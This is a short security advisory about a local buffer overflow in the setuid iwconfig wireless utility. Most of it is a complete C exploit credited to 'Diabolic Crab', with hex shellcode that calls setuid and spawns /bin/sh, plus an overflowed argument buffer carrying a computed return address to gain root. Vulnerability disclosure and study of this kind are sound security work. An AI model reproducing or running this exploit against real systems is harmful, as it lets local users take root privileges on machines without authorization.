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Iwconfig Buffer Overflow
------------------------------------------------------------------------
SUMMARY
Iwconfig "is similar to ifconfig, but is dedicated to the wireless
interfaces. It is used to set the parameters of the network interface
which are specific to the wireless operation". A buffer overflow
vulnerability in iwconfig allows a local attacker to gain root privileges
wherever the program is installed with setuid privileges.
DETAILS
Exploit Code:
//Diabolic Crab's Local Root Exploit
///usr/sbin/iwconfig or /sbin/iwconfig
//dcrab@hackerscenter.com
//www.hackerscenter.com
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char shellcode[]=
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid() */
"\xeb\x5a\x5e\x31\xc0\x88\x46\x07\x31\xc0\x31\xdb\xb0\x27\xcd"
"\x80\x85\xc0\x78\x32\x31\xc0\x31\xdb\x66\xb8\x10\x01\xcd\x80"
"\x85\xc0\x75\x0f\x31\xc0\x31\xdb\x50\x8d\x5e\x05\x53\x56\xb0"
"\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89\x5e\x08\x89\x46\x0c\x50"
"\x8d\x4e\x08\x51\x56\xb0\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89"
"\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\xe8\xa1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
int main(int argc,char **argv){
char buf[96];
unsigned long ret;
int i;
char *prog[]={"/sbin/iwconfig",buf,NULL};
char *env[]={"EGG=",shellcode,NULL};
ret=0xc0000000-strlen(shellcode)-strlen(prog[0])-0x06;
printf("use ret addr: 0x%x\n",ret);
memset(buf,0x41,sizeof(buf));
memcpy(&buf[92],&ret,4);
execve(prog[0],prog,env);
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:dcrab@hackerscenter.com>
Dcrab.
The original article can be found at:
<http://icis.digitalparadox.org/~dcrab/dc_iwconfig.c>
http://icis.digitalparadox.org/~dcrab/dc_iwconfig.c
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